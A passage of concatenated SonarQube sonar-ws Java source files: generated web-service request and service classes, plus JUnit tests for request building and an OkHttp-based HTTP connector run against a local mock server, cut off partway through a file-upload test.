sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webservices/ListRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webservices;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webservices/list">Further information about this action online (including a response example)</a>
* @since 4.2
*/
@Generated("sonar-ws-generator")
public class ListRequest {
private String includeInternals;
/**
* Possible values:
* <ul>
* <li>"true"</li>
* <li>"false"</li>
* <li>"yes"</li>
* <li>"no"</li>
* </ul>
*/
public ListRequest setIncludeInternals(String includeInternals) {
this.includeInternals = includeInternals;
return this;
}
public String getIncludeInternals() {
return includeInternals;
}
}
| 1,628 | 29.735849 | 163 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webservices/ResponseExampleRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webservices;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webservices/response_example">Further information about this action online (including a response example)</a>
* @since 4.4
*/
@Generated("sonar-ws-generator")
public class ResponseExampleRequest {
private String action;
private String controller;
/**
* This is a mandatory parameter.
* Example value: "search"
*/
public ResponseExampleRequest setAction(String action) {
this.action = action;
return this;
}
public String getAction() {
return action;
}
/**
* This is a mandatory parameter.
* Example value: "api/issues"
*/
public ResponseExampleRequest setController(String controller) {
this.controller = controller;
return this;
}
public String getController() {
return controller;
}
}
| 1,819 | 28.354839 | 175 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webservices/WebservicesService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webservices;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.GetRequest;
import org.sonarqube.ws.client.WsConnector;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webservices">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class WebservicesService extends BaseService {
public WebservicesService(WsConnector wsConnector) {
super(wsConnector, "api/webservices");
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webservices/list">Further information about this action online (including a response example)</a>
* @since 4.2
*/
public String list(ListRequest request) {
return call(
new GetRequest(path("list"))
.setParam("include_internals", request.getIncludeInternals())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webservices/response_example">Further information about this action online (including a response example)</a>
* @since 4.4
*/
public String responseExample(ResponseExampleRequest request) {
return call(
new GetRequest(path("response_example"))
.setParam("action", request.getAction())
.setParam("controller", request.getController())
.setMediaType(MediaTypes.JSON)
).content();
}
}
| 2,497 | 35.202899 | 177 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webservices/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.webservices;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,044 | 37.703704 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/MediaTypesTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws;
import org.junit.Test;
import org.sonar.test.TestUtils;
import static org.assertj.core.api.Assertions.assertThat;
public class MediaTypesTest {
@Test
public void getByFilename_default_mime_type() {
assertThat(MediaTypes.getByFilename("")).isEqualTo(MediaTypes.DEFAULT);
assertThat(MediaTypes.getByFilename("unknown.extension")).isEqualTo(MediaTypes.DEFAULT);
}
@Test
public void getByFilename() {
assertThat(MediaTypes.getByFilename("static/sqale/sqale.css")).isEqualTo("text/css");
assertThat(MediaTypes.getByFilename("sqale.css")).isEqualTo("text/css");
}
@Test
public void only_statics() {
assertThat(TestUtils.hasOnlyPrivateConstructors(MediaTypes.class)).isTrue();
}
}
| 1,586 | 34.266667 | 92 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/BaseRequestTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import java.util.Arrays;
import java.util.List;
import org.assertj.core.data.MapEntry;
import org.junit.Test;
import org.sonarqube.ws.MediaTypes;
import static java.util.Arrays.asList;
import static java.util.Collections.singletonList;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import static org.assertj.core.data.MapEntry.entry;
public class BaseRequestTest {
private FakeRequest underTest = new FakeRequest("api/foo");
@Test
public void test_defaults() {
assertThat(underTest.getMethod()).isEqualTo(WsRequest.Method.GET);
assertThat(underTest.getParams()).isEmpty();
assertThat(underTest.getMediaType()).isEqualTo(MediaTypes.JSON);
assertThat(underTest.getPath()).isEqualTo("api/foo");
assertThat(underTest.getWriteTimeOutInMs()).isEmpty();
}
@Test
public void set_write_timeout() {
underTest.setWriteTimeOutInMs(30_000);
assertThat(underTest.getWriteTimeOutInMs()).hasValue(30_000);
}
@Test
public void setMediaType() {
underTest.setMediaType(MediaTypes.PROTOBUF);
assertThat(underTest.getMediaType()).isEqualTo(MediaTypes.PROTOBUF);
}
@Test
public void keep_order_of_params() {
assertThat(underTest.getParams()).isEmpty();
assertThat(underTest.getParameters().getKeys()).isEmpty();
underTest.setParam("keyB", "b");
assertThat(underTest.getParams()).containsExactly(entry("keyB", "b"));
assertParameters(entry("keyB", "b"));
assertMultiValueParameters(entry("keyB", singletonList("b")));
underTest.setParam("keyA", "a");
assertThat(underTest.getParams()).containsExactly(entry("keyB", "b"), entry("keyA", "a"));
assertParameters(entry("keyB", "b"), entry("keyA", "a"));
assertMultiValueParameters(entry("keyB", singletonList("b")), entry("keyA", singletonList("a")));
underTest.setParam("keyC", asList("c1", "c2", "c3"));
assertParameters(entry("keyB", "b"), entry("keyA", "a"), entry("keyC", "c1"));
assertMultiValueParameters(
entry("keyB", singletonList("b")),
entry("keyA", singletonList("a")),
entry("keyC", asList("c1", "c2", "c3")));
}
@Test
public void skip_null_value_in_multi_param() {
underTest.setParam("key", asList("v1", null, "", "v3"));
assertMultiValueParameters(entry("key", asList("v1", "", "v3")));
}
@Test
public void null_param_value() {
Boolean nullBool = null;
underTest.setParam("key", nullBool);
assertThat(underTest.getParams()).isEmpty();
}
@Test
public void fail_if_null_param_key() {
assertThatThrownBy(() -> underTest.setParam(null, "val"))
.isInstanceOf(IllegalArgumentException.class);
}
@Test
public void headers_are_empty_by_default() {
assertThat(underTest.getHeaders().getNames()).isEmpty();
}
@Test
public void set_and_get_headers() {
underTest.setHeader("foo", "fooz");
underTest.setHeader("bar", "barz");
assertThat(underTest.getHeaders().getNames()).containsExactlyInAnyOrder("foo", "bar");
assertThat(underTest.getHeaders().getValue("foo")).hasValue("fooz");
assertThat(underTest.getHeaders().getValue("bar")).hasValue("barz");
assertThat(underTest.getHeaders().getValue("xxx")).isEmpty();
}
private void assertParameters(MapEntry<String, String>... values) {
Parameters parameters = underTest.getParameters();
assertThat(parameters.getKeys()).extracting(key -> MapEntry.entry(key, parameters.getValue(key))).containsExactly(values);
}
private void assertMultiValueParameters(MapEntry<String, List<String>>... expectedParameters) {
Parameters parameters = underTest.getParameters();
String[] expectedKeys = Arrays.stream(expectedParameters).map(MapEntry::getKey).toArray(String[]::new);
assertThat(parameters.getKeys()).containsExactly(expectedKeys);
Arrays.stream(expectedParameters).forEach(expectedParameter -> {
assertThat(parameters.getValues(expectedParameter.getKey())).containsExactly(expectedParameter.getValue().toArray(new String[0]));
});
}
private static class FakeRequest extends BaseRequest<FakeRequest> {
FakeRequest(String path) {
super(path);
}
@Override
public Method getMethod() {
return Method.GET;
}
}
}
| 5,149 | 35.013986 | 136 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/BaseServiceTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import org.junit.Test;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.Testing;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.Assert.fail;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
public class BaseServiceTest {
WsConnector wsConnector = mock(WsConnector.class);
@Test
public void test_call() {
new BaseService(wsConnector, "api/issues") {
public void test() {
GetRequest get = new GetRequest(path("issue")).setMediaType(MediaTypes.JSON);
when(wsConnector.call(get)).thenReturn(new MockWsResponse().setContent("ok").setHeader("header", "value"));
WsResponse response = call(get);
assertThat(response.content()).isEqualTo("ok");
assertThat(response.headers()).hasEntrySatisfying("header", headerValues -> headerValues.contains("value"));
}
}.test();
}
@Test
public void call_and_convert_protobuf() {
new BaseService(wsConnector, "api/issues") {
public void test() {
GetRequest get = new GetRequest(path("issue")).setParam("key", "ABC");
when(wsConnector.call(get)).thenReturn(newProtobufFakeResponse());
Testing.Fake message = call(get, Testing.Fake.parser());
assertThat(message.getLabel()).isEqualTo("ok");
assertThat(get.getPath()).isEqualTo("api/issues/issue");
// media type automatically set to protobuf
assertThat(get.getMediaType()).isEqualTo(MediaTypes.PROTOBUF);
}
}.test();
}
@Test
public void fail_if_http_error() {
new BaseService(wsConnector, "api/issues") {
public void test() {
GetRequest get = new GetRequest(path("issue")).setParam("key", "ABC");
when(wsConnector.call(get)).thenReturn(new MockWsResponse().setCode(403).setRequestUrl("https://local/foo").setContent("error"));
try {
call(get, Testing.Fake.parser());
fail();
} catch (HttpException e) {
assertThat(e.code()).isEqualTo(403);
}
}
}.test();
}
@Test
public void fail_to_parse_protobuf_response() {
new BaseService(wsConnector, "api/issues") {
public void test() {
GetRequest get = new GetRequest(path("issue")).setParam("key", "ABC");
when(wsConnector.call(get)).thenReturn(MockWsResponse.createJson("{}").setRequestUrl("http://local/api/issues/issue?key=ABC"));
try {
call(get, Testing.Fake.parser());
fail();
} catch (IllegalStateException e) {
assertThat(e).hasMessage("Fail to parse protobuf response of http://local/api/issues/issue?key=ABC");
}
}
}.test();
}
private static WsResponse newProtobufFakeResponse() {
Testing.Fake message = Testing.Fake.newBuilder().setLabel("ok").build();
return new MockWsResponse().setContent(message.toByteArray());
}
}
| 3,776 | 32.424779 | 137 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/DeleteRequestTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import org.junit.Test;
import static org.assertj.core.api.Assertions.assertThat;
public class DeleteRequestTest {
private DeleteRequest deleteRequest = new DeleteRequest("path");
@Test
public void getMethod_shouldReturnDelete() {
assertThat(deleteRequest.getMethod()).isEqualTo(WsRequest.Method.DELETE);
}
@Test
public void addVerbToBuilder_shouldReturnNonNullResult() {
assertThat(deleteRequest.addVerbToBuilder()).isNotNull();
}
}
| 1,338 | 31.658537 | 77 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/GetRequestTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import org.junit.Test;
import static org.assertj.core.api.Assertions.assertThat;
public class GetRequestTest {
private GetRequest getRequest = new GetRequest("path");
@Test
public void getMethod_shouldReturnGet() {
assertThat(getRequest.getMethod()).isEqualTo(WsRequest.Method.GET);
}
@Test
public void addVerbToBuilder_shouldReturnNonNullResult() {
assertThat(getRequest.addVerbToBuilder()).isNotNull();
}
}
| 1,314 | 31.073171 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/test/java/org/sonarqube/ws/client/HttpConnectorTest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client;
import java.io.File;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.net.SocketTimeoutException;
import java.util.Base64;
import java.util.List;
import java.util.Random;
import java.util.concurrent.TimeUnit;
import javax.net.ssl.SSLSocketFactory;
import okhttp3.ConnectionSpec;
import okhttp3.OkHttpClient;
import okhttp3.mockwebserver.MockResponse;
import okhttp3.mockwebserver.MockWebServer;
import okhttp3.mockwebserver.RecordedRequest;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.commons.lang.StringUtils;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TemporaryFolder;
import org.sonarqube.ws.MediaTypes;
import static java.nio.charset.StandardCharsets.UTF_8;
import static okhttp3.Credentials.basic;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import static org.junit.Assert.fail;
import static org.mockito.Mockito.mock;
import static org.sonarqube.ws.client.HttpConnector.newBuilder;
public class HttpConnectorTest {
@Rule
public TemporaryFolder temp = new TemporaryFolder();
private MockWebServer server;
private String serverUrl;
private HttpConnector underTest;
@Before
public void setUp() throws Exception {
server = new MockWebServer();
server.start();
serverUrl = server.url("").url().toString();
}
@After
public void stop() throws Exception {
server.close();
}
@Test
public void follow_redirects_post() throws IOException, InterruptedException {
MockWebServer server2 = new MockWebServer();
server2.start();
server2.url("").url().toString();
server.enqueue(new MockResponse()
.setResponseCode(302)
.setHeader("Location", server2.url("").url().toString()));
server2.enqueue(new MockResponse()
.setResponseCode(200));
underTest = HttpConnector.newBuilder().url(serverUrl).build();
PostRequest request = new PostRequest("api/ce/submit").setParam("projectKey", "project");
WsResponse response = underTest.call(request);
RecordedRequest recordedRequest = server2.takeRequest();
assertThat(recordedRequest.getMethod()).isEqualTo("POST");
assertThat(recordedRequest.getBody().readUtf8()).isEqualTo("projectKey=project");
assertThat(response.requestUrl()).isEqualTo(server2.url("").url().toString());
assertThat(response.code()).isEqualTo(200);
}
@Test
public void test_default_settings() throws Exception {
answerHelloWorld();
underTest = HttpConnector.newBuilder().url(serverUrl).build();
assertThat(underTest.baseUrl()).isEqualTo(serverUrl);
GetRequest request = new GetRequest("api/issues/search").setMediaType(MediaTypes.PROTOBUF);
WsResponse response = underTest.call(request);
// verify default timeouts on client
assertThat(underTest.okHttpClient().connectTimeoutMillis()).isEqualTo(HttpConnector.DEFAULT_CONNECT_TIMEOUT_MILLISECONDS);
assertThat(underTest.okHttpClient().readTimeoutMillis()).isEqualTo(HttpConnector.DEFAULT_READ_TIMEOUT_MILLISECONDS);
// verify response
assertThat(response.hasContent()).isTrue();
assertThat(response.content()).isEqualTo("hello, world!");
// verify the request received by server
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getMethod()).isEqualTo("GET");
assertThat(recordedRequest.getPath()).isEqualTo("/api/issues/search");
assertThat(recordedRequest.getHeader("Accept")).isEqualTo(MediaTypes.PROTOBUF);
assertThat(recordedRequest.getHeader("Accept-Charset")).isEqualTo("UTF-8");
assertThat(recordedRequest.getHeader("User-Agent")).startsWith("okhttp/");
// compression is handled by OkHttp
assertThat(recordedRequest.getHeader("Accept-Encoding")).isEqualTo("gzip");
}
@Test
public void add_headers_to_GET_request() throws Exception {
answerHelloWorld();
GetRequest request = new GetRequest("api/issues/search")
.setHeader("X-Foo", "fooz")
.setHeader("X-Bar", "barz");
underTest = HttpConnector.newBuilder().url(serverUrl).build();
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("X-Foo")).isEqualTo("fooz");
assertThat(recordedRequest.getHeader("X-Bar")).isEqualTo("barz");
}
@Test
public void use_basic_authentication() throws Exception {
answerHelloWorld();
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.credentials("theLogin", "thePassword")
.build();
GetRequest request = new GetRequest("api/issues/search");
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("Authorization")).isEqualTo(basic("theLogin", "thePassword"));
}
@Test
public void use_basic_authentication_with_null_password() throws Exception {
answerHelloWorld();
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.credentials("theLogin", null)
.build();
GetRequest request = new GetRequest("api/issues/search");
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("Authorization")).isEqualTo(basic("theLogin", ""));
}
@Test
public void use_basic_authentication_with_utf8_login_and_password() throws Exception {
answerHelloWorld();
String login = "我能";
String password = "吞下";
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.credentials(login, password)
.build();
GetRequest request = new GetRequest("api/issues/search");
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
// do not use OkHttp Credentials.basic() in order to not use the same code as the code under test
String expectedHeader = "Basic " + Base64.getEncoder().encodeToString((login + ":" + password).getBytes(UTF_8));
assertThat(recordedRequest.getHeader("Authorization")).isEqualTo(expectedHeader);
}
/**
* Access token replaces the couple {login,password} and is sent through
* the login field
*/
@Test
public void use_access_token() throws Exception {
answerHelloWorld();
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.token("theToken")
.build();
GetRequest request = new GetRequest("api/issues/search");
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("Authorization")).isEqualTo(basic("theToken", ""));
}
@Test
public void systemPassCode_sets_header_when_value_is_not_null() throws InterruptedException {
answerHelloWorld();
String systemPassCode = new Random().nextBoolean() ? "" : RandomStringUtils.randomAlphanumeric(21);
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.systemPassCode(systemPassCode)
.build();
GetRequest request = new GetRequest("api/issues/search");
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("X-sonar-passcode"))
.isEqualTo(systemPassCode);
}
@Test
public void use_proxy_authentication() throws Exception {
try (MockWebServer proxy = new MockWebServer()) {
proxy.start();
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.proxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxy.getHostName(), proxy.getPort())))
.proxyCredentials("theProxyLogin", "theProxyPassword")
.build();
GetRequest request = new GetRequest("api/issues/search");
proxy.enqueue(new MockResponse().setResponseCode(407));
proxy.enqueue(new MockResponse().setBody("OK!"));
underTest.call(request);
RecordedRequest recordedRequest = proxy.takeRequest();
assertThat(recordedRequest.getHeader("Proxy-Authorization")).isNull();
recordedRequest = proxy.takeRequest();
assertThat(recordedRequest.getHeader("Proxy-Authorization")).isEqualTo(basic("theProxyLogin", "theProxyPassword"));
}
}
@Test
public void use_proxy_authentication_wrong_crendentials() throws Exception {
try (MockWebServer proxy = new MockWebServer()) {
proxy.start();
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.proxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(proxy.getHostName(), proxy.getPort())))
.proxyCredentials("theProxyLogin", "wrongPassword")
.build();
GetRequest request = new GetRequest("api/issues/search");
proxy.enqueue(new MockResponse().setResponseCode(407));
proxy.enqueue(new MockResponse().setResponseCode(407));
proxy.enqueue(new MockResponse().setResponseCode(407));
underTest.call(request);
RecordedRequest recordedRequest = proxy.takeRequest();
assertThat(recordedRequest.getHeader("Proxy-Authorization")).isNull();
recordedRequest = proxy.takeRequest();
assertThat(recordedRequest.getHeader("Proxy-Authorization")).isEqualTo(basic("theProxyLogin", "wrongPassword"));
assertThat(proxy.getRequestCount()).isEqualTo(2);
}
}
@Test
public void override_timeouts() {
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.readTimeoutMilliseconds(42)
.connectTimeoutMilliseconds(74)
.build();
assertThat(underTest.okHttpClient().readTimeoutMillis()).isEqualTo(42);
assertThat(underTest.okHttpClient().connectTimeoutMillis()).isEqualTo(74);
}
@Test
public void override_timeouts_with_request() {
OkHttpClient client = new OkHttpClient.Builder().build();
WsRequest request = new PostRequest("abc").setWriteTimeOutInMs(123).setTimeOutInMs(234);
client = underTest.prepareOkHttpClient(client, request);
assertThat(client.writeTimeoutMillis()).isEqualTo(123);
assertThat(client.readTimeoutMillis()).isEqualTo(234);
}
@Test
public void send_user_agent() throws Exception {
answerHelloWorld();
underTest = HttpConnector.newBuilder()
.url(serverUrl)
.userAgent("Maven Plugin/2.3")
.build();
underTest.call(new GetRequest("api/issues/search"));
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("User-Agent")).isEqualTo("Maven Plugin/2.3");
}
@Test
public void fail_if_unknown_implementation_of_request() {
underTest = HttpConnector.newBuilder().url(serverUrl).build();
try {
underTest.call(mock(WsRequest.class));
fail();
} catch (IllegalArgumentException e) {
assertThat(e).hasMessageContaining("Unsupported implementation: ");
}
}
@Test
public void fail_if_malformed_URL() {
assertThatThrownBy(() -> newBuilder().url("wrong URL").build())
.isInstanceOf(IllegalArgumentException.class)
.hasMessage("Malformed URL: 'wrong URL'");
}
@Test
public void send_post_request() throws Exception {
answerHelloWorld();
PostRequest request = new PostRequest("api/issues/search")
.setParam("severity", "MAJOR")
.setMediaType(MediaTypes.PROTOBUF);
underTest = HttpConnector.newBuilder().url(serverUrl).build();
WsResponse response = underTest.call(request);
// verify response
assertThat(response.hasContent()).isTrue();
assertThat(response.content()).isEqualTo("hello, world!");
assertThat(response.headers()).hasEntrySatisfying("header", headerValues -> headerValues.contains("value"));
assertThat(response.header("header")).hasValue("value");
// verify the request received by server
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getMethod()).isEqualTo("POST");
assertThat(recordedRequest.getPath()).isEqualTo("/api/issues/search");
assertThat(recordedRequest.getBody().readUtf8()).isEqualTo("severity=MAJOR");
assertThat(recordedRequest.getHeader("Accept")).isEqualTo("application/x-protobuf");
}
@Test
public void add_header_to_POST_request() throws Exception {
answerHelloWorld();
PostRequest request = new PostRequest("api/issues/search")
.setHeader("X-Foo", "fooz")
.setHeader("X-Bar", "barz");
underTest = HttpConnector.newBuilder().url(serverUrl).build();
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("X-Foo")).isEqualTo("fooz");
assertThat(recordedRequest.getHeader("X-Bar")).isEqualTo("barz");
}
@Test
public void setBody_shouldAddCorrectlyBodyPayloadToPostRequest_whenComposingAndSendingPostRequest() throws Exception {
answerHelloWorld();
String xGithubEventHeader = "code_scanning_alert";
String xHubSignatureHeader = "x-hub-signature";
String xHubSignature256Header = "x-hub-signature-256";
String bodyRaw = "{\"state\":\"open\"}";
PostRequest request = new PostRequest("api/alm_integrations/webhook_github")
.setHeader("X-GitHub-Event", xGithubEventHeader)
.setHeader("X-Hub-Signature", xHubSignatureHeader)
.setHeader("X-Hub-Signature-256", xHubSignature256Header)
.setBody(bodyRaw)
.setMediaType(MediaTypes.JSON);
underTest = HttpConnector.newBuilder().url(serverUrl).build();
underTest.call(request);
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getHeader("X-GitHub-Event")).isEqualTo(xGithubEventHeader);
assertThat(recordedRequest.getHeader("X-Hub-Signature")).isEqualTo(xHubSignatureHeader);
assertThat(recordedRequest.getHeader("X-Hub-Signature-256")).isEqualTo(xHubSignature256Header);
assertThat(recordedRequest.getBody().readUtf8()).isEqualTo(bodyRaw);
}
@Test
public void upload_file() throws Exception {
answerHelloWorld();
File reportFile = temp.newFile();
FileUtils.write(reportFile, "the report content");
PostRequest request = new PostRequest("api/report/upload")
.setParam("project", "theKey")
.setPart("report", new PostRequest.Part(MediaTypes.TXT, reportFile))
.setMediaType(MediaTypes.PROTOBUF);
underTest = HttpConnector.newBuilder().url(serverUrl).build();
WsResponse response = underTest.call(request);
assertThat(response.hasContent()).isTrue();
RecordedRequest recordedRequest = server.takeRequest();
assertThat(recordedRequest.getMethod()).isEqualTo("POST");
assertThat(recordedRequest.getPath()).isEqualTo("/api/report/upload?project=theKey");
String body = IOUtils.toString(recordedRequest.getBody().inputStream());
